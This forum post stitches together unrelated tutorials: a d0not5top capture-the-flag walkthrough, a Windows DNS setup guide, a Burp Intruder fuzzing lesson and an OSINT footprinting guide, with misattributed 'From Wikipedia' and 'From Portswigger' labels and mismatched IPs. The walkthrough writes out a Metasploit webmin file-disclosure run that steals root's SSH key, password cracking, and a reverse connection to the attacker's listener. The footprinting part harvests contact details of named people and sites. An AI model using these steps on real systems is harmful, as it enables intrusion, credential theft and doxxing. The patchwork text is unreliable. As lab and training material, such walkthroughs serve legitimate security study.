Login

**NINZA** · 05-04-2020, 06:22 PM

0			0

This time we are going to solve a fun Vulnerable Lab d0not5top 1.2. To do so we are going to download the VM Machine from

[To see content please register here]

.
The credit for developing this VM machine is going to 3mrgnc3 who has hidden 7 flags inside this lab as a challenge for hackers.
Let’s Breach
As always, Let us start form getting to know the IP of VM (Here, I have it at 192.168.1.113 but you will have to find your own)
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Next, we run nmap
nmap -sV 192.168.1.113
1
nmap -sV 192.168.1.113
[Image: 2.1.png?w=687&ssl=1]

Now, visit the IP in the Browser.
[Image: 2.png?w=687&ssl=1]

Since I didn’t found something interesting when exploring it’s IP in the browser, therefore now I am going to scan the Web Content by using dirb in Kali Linux.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

As you can observe from above the image I have highlighted a URL which indicates the control panel of the website. Let’s open 192.168.1.113/control in the browser. Yes, it is DNS control panel but I didn’t find any clue for the 1st flag on this web page.
[Image: 4.png?w=687&ssl=1]

After that move towards its view source page and notice FL46_1 which indicates that it is the 1st flag.
Wonderful!! Successfully found the 1st flag
[Image: 5.png?w=687&ssl=1]

From the scanning result of dirb we found so many web directories in this machine, therefore further I chose 192.168.1.113/control/js directory. In this directory, I found a file README.MadBro. It will open as shown below.
Now here we found a binary code which is to be converted into decimal. On conversion we found FL46_2:30931r42q2svdfsxk9i13ry4f2srtr98h2
Great!! Successfully got 2nd Flag.
[Image: 6.png?w=687&ssl=1]

Now, for the third flag, we will use netcat very verbose mode on port 25 which hosts smtpd service (This can be found by doing an aggressive nmap scan on the IP)
nc -vv 192.168.1.113 25
1
nc -vv 192.168.1.113 25
Here we found a Hexadecimal code which is to be converted in Text.
[Image: 7.png?w=687&ssl=1]

Great!! Successfully got 3rd Flag also.
[Image: 8.png?w=687&ssl=1]

On the URL where we found Second Flag, there is an instruction written in Leet, It reads: M4K3 5UR3 2 S3TUP YOUR /3TC/HO5TS N3XT TIM3 L0053R… 1T’5 D0Not5topMe.ctf!!! So we will go to /etc/hosts and add an entry as shown in the given image.
[Image: 9.png?w=687&ssl=1]

Now open donot5topme.ctf in the browser as shown and Click on Register has given at the end of the web page.
[Image: 10.png?w=687&ssl=1]

As you can observe that we didn’t found any clue on this web page, therefore, opened the source code of the page.
[Image: 11.png?w=687&ssl=1]

At View Page Source, here we found this link as shown in highlighted text.
[Image: 12.png?w=687&ssl=1]

I googled this encoding. It is known as brain fuck encoding.
[Image: 13.png?w=687&ssl=1]

So we will decrypt it. Here we got the FL46_4
Successfully found the 4th flag
[Image: 14.png?w=687&ssl=1]

Now move back to the d0not5topme.ctf. Now we will click on Register and Then on I agree to these terms and we will get to Registration Page. Here we click on Board Administration, which opens a prompt which asks for the client to open mailto link, here I choose Gmail.
[Image: 15.png?w=687&ssl=1]

Here I found another ctf “[email protected]”
[Image: 16.png?w=687&ssl=1]

Now let’s add G4M35.ctf into /etc/hosts as we did before and click on Save.
[Image: 17.png?w=687&ssl=1]

When I open this domain in the browser, I got a game to play, although you can get the next clue by playing too, but I thought of a more technical approach and opened this web page with Inspect Element. Now select the Debugger Tab. Here I found game.js and inside the Game_Over script I found the next clue as “/H3X6L4m3”
[Image: 18.png?w=687&ssl=1]

After opening the complete link “g4m35.ctf/H3X6L4m3” on this domain it gave me another game.
[Image: 19.png?w=687&ssl=1]

Again we can play and discover the next clue/flag. But we went to get a bit technical approach and ran a dirb command to look after it’s directories.
dirb

[To see content please register here]

/usr/share/wordlists/dirb/big.txt
1
dirb

[To see content please register here]

/usr/share/wordlists/dirb/big.txt
From the given result I had highlighted

[To see content please register here]

for further enumeration.
[Image: 20.png?w=687&ssl=1]

Now I have opened this textures directory in the browser, here I opened the skybox directory and then the dawnclouds directory and found the nz.jpg file as shown.
[Image: 21.png?w=687&ssl=1]

After opening this image I got the octal code.
[Image: 22.png?w=687&ssl=1]

After decoding this code I found FL46_5
I Captured the 5th flag also!!
[Image: 23.png?w=687&ssl=1]

Now get back to the second game

[To see content please register here]

and open with Inspect Element. Now select the Debugger Tab. Here I found Gameplay.js and got another domain “t3rmln4l.ctf” as shown below.
[Image: 24.png?w=687&ssl=1]

Now let’s add t3rmln4l.ctf into /etc/hosts as we did before and click on Save.
[Image: 25.png?w=687&ssl=1]

Now as before, while opening this domain in the browser, I got a terminal which asks for a password. After trying a bunch of commands, I found grep* runs on this terminal and for authentication, I entered the name of the domain as password i.e t3rm1a4l.ctf and found another domain “M36u574.ctf”.
[Image: 26.png?w=687&ssl=1]

Now let’s add M36u574.ctf into /etc/hosts as we did before and click on Save.
[Image: 27.png?w=687&ssl=1]

Now as before, you will open this domain in the browser, you will get a slideshow of Megusta images. Out of multiple images, I downloaded the kingmegusta.jpg.
[Image: 28.png?w=687&ssl=1]

Now we will run exiftool on this image, here I got some code in Comment as shown below.
[Image: 29.png?w=687&ssl=1]

After converting the code to the text I found the following code as shown in the image. It is base64 encoded.
[Image: 30.png?w=687&ssl=1]

Then I created a text file on /root/Desktop/ and pasted the above-decoded text in this file.
[Image: 31.png?w=687&ssl=1]

By running John The Ripper, using this file as shown
john --wordlist=/usr/share/wordlists/rockyou.txt ignite
1
john --wordlist=/usr/share/wordlists/rockyou.txt ignite
I found a user MeGustaKing and Password ********** (10 times *).
[Image: 32.png?w=687&ssl=1]

Now using this username and password combination we will login into the ssh. Here we get a code and another username and password combination i.e. burtieo: Lets you update your FunNotes and more! But first, let’s decode the highlighted code.
[Image: 33.png?w=687&ssl=1]

Copy and paste above code inside it. It is in base64 encryption, after decrypting the code we found that it is md5 encoded.
[Image: 34.png?w=687&ssl=1]

Great! It is the 6th Flag.
[Image: 35.png?w=687&ssl=1]

As mentioned above in the previous ssh login we got this username burtieo and its password is the text written above it i.e. Lets you update your FunNotes and more!
Now let’s login in ssh using a combination
Username: burtieo and Password: Lets you update your FunNotes and more!
[Image: 36.png?w=687&ssl=1]

This opens rbash shell and rbash shell restricts some of the features of the bash shell.
[Image: 37.png?w=687&ssl=1]

So, firstly run following command
suedoh -l
1
suedoh -l
And then run the command
suedoh /usr/bin/wmstrt
1
suedoh /usr/bin/wmstrt
[Image: 38.png?w=687&ssl=1]

Using nmap command I found the port 10000 is open.
[Image: 39.png?w=687&ssl=1]

But this port only remains open for 20 seconds, we can make it stay open for long using “for loop” as shown.
[Image: 40.png?w=687&ssl=1]

Now let’s run Metasploit and use the exploit named file_disclosure
msf> use auxiliary/admin/webmin/file_disclosure
msf> auxiliary (file_disclosure) > set lhost 192.168.1.113
msf> auxiliary (file_disclosure) > set ssl true
msf> auxiliary (file_disclosure) > set rpath /root/.ssh/id_rsa
msf> auxiliary (file_disclosure) > exploit
1
2
3
4
5
msf> use auxiliary/admin/webmin/file_disclosure
msf> auxiliary (file_disclosure) > set lhost 192.168.1.113
msf> auxiliary (file_disclosure) > set ssl true
msf> auxiliary (file_disclosure) > set rpath /root/.ssh/id_rsa
msf> auxiliary (file_disclosure) > exploit
I found the RSA Private Key as shown.
[Image: 41.png?w=687&ssl=1]

Now copy and paste this Private Key in a file and name it id_rsa and then run John The Ripper.
ssh2john id_rsa> ignite
john --wordlist:/usr/share/wordlists/rockyou.txt ignite
1
2
ssh2john id_rsa> ignite
john --wordlist:/usr/share/wordlists/rockyou.txt ignite
This has given the root password .i.e. “gustateamo”
[Image: 42.png?w=687&ssl=1]

Now I have removed permissions of id_rsa by chmod 700 and logged in into ssh as root with password gustateamo as shown below.
[Image: 43.png?w=687&ssl=1]

Now type the following command
ls
1
ls
You can observe from the given image that it consists of two files. Let’s open one of them.
cat L45T_fl46.pl
1
cat L45T_fl46.pl
Here it gave the message to use L45T_fl46.pl
[Image: 44.png?w=687&ssl=1]

Now use netcat command to establish a connection with the target through port 1234.
nc -lp 1234 -vv
1
nc -lp 1234 -vv
[Image: 45.png?w=687&ssl=1]

Now in D0Not5top terminal, we will open file L45T_fl46.pl with IP 192.168.0.7 (Kali Linux IP) as given below:
./ L45T_fl46.pl 192.168.1.109 1234
1
./ L45T_fl46.pl 192.168.1.109 1234
[Image: 46.png?w=687&ssl=1]

On attacker system it will you will found get netcat to connect with the targeted system. The highlighted text is indicating toward FL46_7
Congratulations!! It’s the 7th Flag.
Solving this lab was fun and a great experience.
[Image: 47.png?w=687&ssl=1]

From Wikipedia
Domain Name System is used for name translation into IP address or you can say that it is used for name resolution.
This name is only for the benefit of the human. It is translated into IP addresses to reach the destination. The translation process of a name is called name resolution.
Name resolution starts from right to left. There is another “.” after com but it is hidden. This is called root level domain. Winner request is sent to the root domain for translation it forwards this request to com domain which is called Top Level Domain. Com passes the request to yahoo domain which is called 2ndlevel domain .Yahoo then sends the request to www which is called host name.
Structure of the DNS is distributed over the internet. It means that the name resolution task is not assigned to only computer rather it is distributed over the internet.
Steps to Install DNS server
Configure Static IP setting of your server; here we had assigned 192.168.1.104 IP to our machine moreover we had assign server IP also as preferred DNS server.
[Image: 1.png?w=687&ssl=1]

We have to open Server Manager and then click on Add Roles and Features in order to install role services and features. A new window will come up on screen. Now click on next as shown below in given image.
[Image: 2.png?w=687&ssl=1]

Select installation type “Role based or feature based installation” which is also select as default option and then click on next for further step.
[Image: 3.png?w=687&ssl=1]

Select the desire server from server pool for configuration of DNS server. From given below image you can observe that from inside pool 1 computer is found with IP 192.168.1.104 that has been selected as server, now click on next.
[Image: 4.png?w=687&ssl=1]

Select DNS server checkbox as role to install it on selected server and click on Next.
[Image: 6.png?w=687&ssl=1]

Now Just Click on Next after reading brief description of DNS.
[Image: 7.png?w=687&ssl=1]

To install selected role and feature on selected server click on Install.
[Image: 8.png?w=687&ssl=1]

DNS server installation process begins which may takes few minute for installation, at last click on close once the installation has been completed.
[Image: 9.png?w=687&ssl=1]

This is all about DNS installation now in next step we will configure DNS server.
Zone
Database of DNS is called zone or partition of Domain Name Space represented by Domain Name is called Zone. When you click on zone then you will see two zones one is Forward Lookup Zone and Reverse Lookup Zone.
Forward Lookup Zone sends name and get IP address of the computer.
While Reverse Lookup Zone sends IP address of the computer then why we need name of the computer. The answer is that if firewall is installed on the computer then firewall stop or allow traffic on the basis of name that is why reverse lookup zone is used to convert IP address in the name.
Steps to create a Forward Lookup zone:

Select DNS from drop down list server manger, this will open the server on which we have install DNS role. Select your server (WIN-KSR8OM147HH ) make right click on it and select DNS from that list.

When we select DNS in server Manager it will open a new window as DNS Manager.
Now we will configure Forward lookup zone as well as Reverse Lookup Zone. So to create Forward Lookup Zone, select Forward Lookup Zones and right click on it and select New Zone from menu box to take up the New Zone Wizard then click on next.
It will show the list of Different types of Zones and storage such as Primary Zone, Secondary Zone & Stub Zone.
Zone Types

Primary Zone: A primary DNS zone has authority of read / writes for DNS server also known as master server. It stores the master copy of zone data in a local file or in AD DS.
Secondary Zone: A Secondary DNS Zone is Read-Only copy of a Primary Zone; this DNS server is a secondary resource for information about this zone.
Active Directory Integrated DNS Zone: It is also writeable zone. To make Active Directory Integrated zone the machine must be a domain Controller. RODC (read only domain controller).feature is only available in server 2008 R2.The domain controller must be writeable not read only because it is more secure. There is a security tab in the AD integrated zone, it is a multi master structured. In case of AD integrated zone, DNS database will be replicated as a part of domain replication.
Stub zone: It is nature secondary. It has no database of its own. Its load the database from master DNS. It only takes selective records not the complete database. Three records NS, SOA and Glue A will transfer into stub zone. Stub is read only.

DNS uses port 53 for communication and it uses both TCP and UDP protocols. Dynamic DNS (DDNS) is used to automatically update IP addresses in DNS when changed by DHCP. You will enable DDNS option in the zone properties to secure only.
[Image: 11.png?w=687&ssl=1]

Select Primary zone and click on Next.
[Image: 12.png?w=687&ssl=1]

Give desired Zone name like raj and click on Next.
[Image: 13.png?w=687&ssl=1]

Save this into a new zone file as raj.dns and click on Next.
[Image: 14.png?w=687&ssl=1]

Select Do not allow dynamic updates option, if you want to update these records manually. Click on Next then Finish.
[Image: 15.png?w=687&ssl=1]

Now we had completed the configuration for Forward Lookup Zone; next we will configure reverse lookup zone.
Reverse Lookup Zone:
Domain Name system (DNS) servers can enable clients to determine the DNS name of a host based on the host’s IP address by providing a special zone called a reverse lookup zone. A reverse lookup zone contains pointer (PTR) resource records that map IP addresses to the host name. Some applications, such as secure web applications, rely on reverse lookups.
A reverse lookup takes the form of a question, such as “can you tell me the DNS name of the computer that uses the IP address 192.168.1.120?”
A special domain, the in-addr.arpa domain, was defined in the DNS standards and reserved in the internet DNS namespace to provide a practical and reliable way to perform reverse queries . In reverse lookup zone the address is written in reverse order.
Step to create a Reverse Lookup Zone:
To create Reverse Lookup Zone, make right click on it and click on New Zone from the inside the menu box to take up the New Zone Wizard.
[Image: 16.png?w=687&ssl=1]

Select Primary zone and click on Next.
[Image: 17.png?w=687&ssl=1]

Click on first radio button for IPv4 reverse Lookup Zone to translate IP address into DNS name then click on next.
[Image: 18.png?w=687&ssl=1]

Type Network ID field as 192.168.1 which is the first three octets of IP-address of our DNS Server then click on next.
[Image: 19.png?w=687&ssl=1]

Save this in a new zone file and select first radio button for this step then click on next.
[Image: 20.png?w=687&ssl=1]

Select Do not allow dynamic updates option, if you want to update these record manually. Click on next.
[Image: 21.png?w=687&ssl=1]

We have successfully completed configuration for new zone of reverse Lookup. Now just click on finish.
[Image: 22.png?w=687&ssl=1]

Now you can observe that on the right side of DNS Manager Window, Reverse Lookup Zone is now created that contains two records i.e. SOA and NS in it.

Now we are going to create a new pointer in our new zone file i.e. 168.192.in-addr.arpa, as shown in given below image

Here we require host name in order to create new resource record, click on browse to select the record.
Resource Records
Resource records are the DNS database entries to answer DNS client queries. Name, type and data. The client query is always shown under the name title; DNS server answer always shown under the data title, in type different types of records is shown. Common recorded in DNS are A (Name to IP), PTR (reverse of A), SRV, MX, MS, SOA, etc.
[Image: 24.png?w=687&ssl=1]

Select 2ndfile i.e. name server (NS) record as shown in given below image and click on OK.
[Image: 25.png?w=687&ssl=1]

DNS Queries
There are two types of queries in DNS:

Recursive Query: – It goes from DNS client to DNS server. It answer is complete means processing is complete.
Iterative Query: – It goes from DNS server to DNS server. It answer is not complete means its reply is referral. Iterative query is used to reach from one DNS to another DNS. It keeps the reply for 60minutes in his cache.

Verify DNS configuration
Open command prompt and type following command which will search for the Domain Name System (DNS) to find domain name or IP address mapping.
nslookup 192.168.1.104 (server’s ip)
From given below image you can read the name of NS record/domain name i.e. raj.
[Image: 26.png?w=687&ssl=1]

Similarly using command nslookup raj we found host IP i.e. 192.168.1.104
[Image: 27.png?w=687&ssl=1]

From Portswigger
Hello friends!! Today we are going to perform fuzzing testing on the bwapp application using burp suite intruder, performing this testing manually is time-consuming and may be a boring process for any pentester.
The fuzzing plays a vital role in software testing, it is a tool which is used for finding bugs, errors, faults, and loophole by injecting a set of partially –arbitrary inputs called fuzz into a program of the application to be tested. Fuzzer tools take structure input in file format to differentiate between valid and invalid inputs. Fuzzer tool is best in identifying vulnerability like SQL injection, buffer overflow, XSS injection, and OS command injection and etc.
Let’s start!!
Fuzzing XSS
Start burp suite in order to intercept the request and then send intercepted data into Intruder
[Image: 1.png?w=687&ssl=1]

Many input-based vulnerabilities, such as SQL injection, cross-site scripting, and file path traversal can be detected by submitting various test strings in request parameters and analyzing the application’s responses for error messages and other anomalies.
Considered following as given below:
Configure the position where payload will be inserted, the attack type determines the way in which payloads are assigned to payload positions.
Payload position: test (user input for the first name)
Attack type: Sniper (for one payload)
[Image: 2.png?w=687&ssl=1]

A set payload which will be placed into payload positions during the attack. Choose payload option to configure your simple list of payload for the attack. Configure the payload list using one of Burp’s predefined payload lists containing common fuzz strings.
Burp suite intruder contains fuzzing string for testing XSS injection, therefore choose fuzzing –xss and click on ADD tab to load this string into the simple list as shown in the screenshot and at final click on start attack.
[Image: 3.png?w=687&ssl=1]

It will start the attack by sending a request which contains the random string to test XSS vulnerability in the target application. Now from a given list of applied string select the payload which has the highest length as output as shown in the given image, we have a select request 1 having a length equal to 13926.
[Image: 4.png?w=687&ssl=1]

Insert selected payload into the intercepted request and then forward this request as you can see in the given image.
[Image: 5.png?w=687&ssl=1]

Bravo!! Fuzzing test is completed and it found that the application has a bug which leads to XSS vulnerability. From the screenshot, you can see it is showing an XSS alert prompt.
[Image: 6.png?w=687&ssl=1]

Fuzzing OS command injection
Similarly, repeat the same process in order to intercept the request and then send intercepted data into Intruder.
[Image: 7.png?w=687&ssl=1]

Configure the position where payload will be inserted, the attack type determines the way in which payloads are assigned to payload positions.
Payload position:

[To see content please register here]

(user input for target)
Attack type: Sniper (for one payload
[Image: 8.png?w=687&ssl=1]

Burp suite intruder contains a fuzzing string which will test for os command injection, therefore choose to fuzz full and click on ADD tab to load this string into the simple list as shown in the screenshot and at final click on start attack.
[Image: 9.png?w=687&ssl=1]

It will start the attack by sending a request which contains the arbitrary string to test OS command injection vulnerability in the target application. Now from a given list of applied string select the payload which has the highest length as output as shown in the given image, we have the select request 34 having a length equal to 13343.
Insert selected payload into the intercepted request and then forward this request as you can see in the given image.
[Image: 10.png?w=687&ssl=1]

Great Job!! Fuzzing test is completed and it found that the application has a bug which leads to OS command vulnerability. From the screenshot, you can see the application is showing ID as per the request of the selected payload.
[Image: 11.png?w=687&ssl=1]

Fuzzing SQL
Similarly, repeat the same process in order to intercept the request and then send intercepted data into Intruder.
[Image: 12.png?w=687&ssl=1]

Configure the position where payload will be inserted, the attack type determines the way in which payloads are assigned to payload positions. It is much similar like brute force attack.
Payload position: 1:1 (user input for login: password)
Attack type: Cluster bomb (for two payloads)
[Image: 13.png?w=687&ssl=1]

Burp suite intruder contains a fuzzing string which will test for SQL injection, therefore choose to fuzz –SQL Injection for first payload position and click on ADD tab to load this string into the simple list as shown in the screenshot and at final click on start attack.
[Image: 14.png?w=687&ssl=1]

Similarly, repeat the same process to set payload option for second payload position.
[Image: 15.png?w=687&ssl=1]

It will start the attack by sending a request which contains the arbitrary string to test SQL injection vulnerability in the target application. Now from a given list of applied string select the payload which has the highest length as output as shown in the given image, we have the select request 168 having a length equal to 13648.
[Image: 16.png?w=687&ssl=1]

Insert selected payload into the intercepted request and then forward this request as you can see in the given image.
[Image: 17.png?w=687&ssl=1]

Wonderful!! Fuzzing test is completed and it found that the application has a bug which leads to SQL injection vulnerability. From the screenshot, you can see we had login into Neo’s account without valid input this happens only as per the request of the selected payload.
[Image: 18.png?w=687&ssl=1]

In our previous article, we have discussed a brief introduction of footprinting for gathering information related to the specific person. As we had discussed that there are so many types of footprinting and today we are going to talk about DNS footprinting, website footprinting, and whois footprinting.
Browsing the target Website may Providing

Whos is Details
Software used and version
OS Details
Sub Domains
File Name and File Path
Scripting Platform & CMS Details
Contact Details

Let’s start!!
From Wikipedia
Whois footprinting
WHOIS (pronounced as the phrase who is) is a query and response protocol and whois footprinting is a method for glance information about ownership of a domain name as following:

Domain name details
Contact details contain phone no. and email address of the owner
Registration date for the domain name
Expire date for the domain name
Domain name servers

Whois Lookup
It is broadly used in support of querying databases that store the registered users or assignees of an Internet resource, such as a domain name, an IP address block, or an autonomous system, but is also used for a wider range of other information. The protocol stores and delivers database content in a human-readable format.
Browse given URL

[To see content please register here]

in browser and type any domain name.
For example: let’s search pentestlab.in
[Image: 1.png?w=687&ssl=1]

Now you can see it has created a whois record for pentestlab.in where it contains details like email address, IP, registrant Org. From the given record, anyone can guess that this domain has some connection to raj chandel. The attacker needs to perform footprinting on raj chandel taking help from the previous article.
There is so many other tools use for whois footprinting for example:

Caller IP
Whois Analyzer pro
Whois lookup multiple addresses

DNS Footprinting
The attacker performs DNS footprinting in order to enumerate DNS record details and type of servers. There is 10 type of DNS record which provide important information related to the target location.

A/AAAA
SVR
NS
TXT
MX
CNAME
SOA
RP
PTR
HINFO

Domain Dossier: it is an online tool use for complete DNS footprinting as well as whois footprinting.
There are so many online tool use for DNS footprinting, using domain dossier we will check for DNS records of penetstlab.in, select the check box for DNS records and traceroute and then click on go.
[Image: 3.png?w=687&ssl=1]

You can observe that the data which we received from whois lookup and from domain dossier is the same to some extent. It has given same email ID as above i.e. [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Loginand moreover details of DNS records TXT, SOA, NS, MX, A and PTR.
[Image: 4.png?w=687&ssl=1]

DNS Dumpster: it is also an online use for DNS footprinting.
DNSdumpster.com is a FREE domain research tool that can discover hosts related to a domain. Enumerate a domain and pull back up to 40K subdomains, results are available in an XLS for easy reference.
Repeating the same process for pentestlab.in, it will search for its DNS record. From the given screenshot, you can observe we have received the same details as above. More it will create a copy as an output file in from XLS.
[Image: 5.png?w=687&ssl=1]

You get signal: it is also an online tool used for DNS footprinting as well as for Network footprinting
A reverse IP domain check takes a domain name or IP address pointing to a web server and searches for other sites known to be hosted on that same web server. Data is gathered from search engine results, which are not guaranteed to be complete
Hence we get the IP 72.52.229.111 for pentestlab.inmoreover it dumped the name of 14 other domain which is hosted on the same web server.
[Image: 6.png?w=687&ssl=1]

Website Footprinting
It is a technique used for extracting the details related to the website as following

Archived description of the website
Content management system and framework
Script and platform of the website and web server
Web crawling
Extract metadata and contact details from the website
Website and web page monitoring and analyzer

Archive.org: It is an online tool use for visiting the archived version of any website.
Archive.org has search option as way back machine which is like a time machine for any website. It contains entire information from past till present scenario of any website either their layout or content everything related to the website is present inside. In simple words, it contains the history of any website.
For example, I had a search for the hackingarticles.in the archived record of 2012.
[Image: 7.png?w=687&ssl=1]

Built With: It is an online tool used for detecting techniques and framework involved inside running website.
BuiltWith.com technology tracking includes widgets, analytics, frameworks, content management systems, advertisers, content delivery networks, web standards, and web servers to name some of the technology categories.
Taking the example of hackingarticles.in again we found the following things:

Content Management system: WordPress
Framework: PHP

Whatweb
Whatweb can identify all sorts of information about a live website, like Platform, CMS platform, Type of Script, Google Analytics, Web server Platform, and IP address Country. A pentester can use this tool as both a recon tool & vulnerability scanner.
Open the terminal in Kali Linux and type following command
whatweb

[To see content please register here]

1
whatweb

[To see content please register here]

As result, we receive the same information as above
[Image: 9.png?w=687&ssl=1]

Web crawling
HTTrack is a free and open source Web crawler and offline browser, developed by Xavier Roche
It allows you to download a World Wide Web site from the Internet to a local directory, building recursively all directories, getting HTML, images, and other files from the server to your computer. HTTrack arranges the original site’s relative link-structure.
Give target URL for copy the web site as

[To see content please register here]

which starts downloading the website.
[Image: 10.png?w=687&ssl=1]

[To see content please register here]

Web Data Extractor
Web Data Extractor Pro is a web scraping tool specifically designed for mass-gathering of various data types. It can harvest URLs, phone and fax numbers, email addresses, as well as meta tag information and body text. A special feature of WDE Pro is custom extraction of structured data.
Start new project Type target URL as ignitetechnologies.in and select folder to save the output and click on ok.
[Image: 11.png?w=687&ssl=1]

Now, this tool will extract metadata, email contact no. and etc from inside the target URL.
From given screenshot, you can see it found 40 meta tags1 email 84-phone number from ignitetechnologies.in website.
Similarly the other tool use as web data extractor:
Web spider
[Image: 12.png?w=687&ssl=1]

Competitive Intelligence
Website-Watcher is a powerful yet simple website-monitoring tool, perfectly suited to the beginner and advanced user alike. You can download it from here.
Using the new tab and enter the target URL which starts monitoring the target website.
For example, I enter the URL hackingarticles.in for monitoring this website.
Similarly, there are some other tools uses for monitoring:
On web change
Follow that page
Informinder
[Image: 13.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis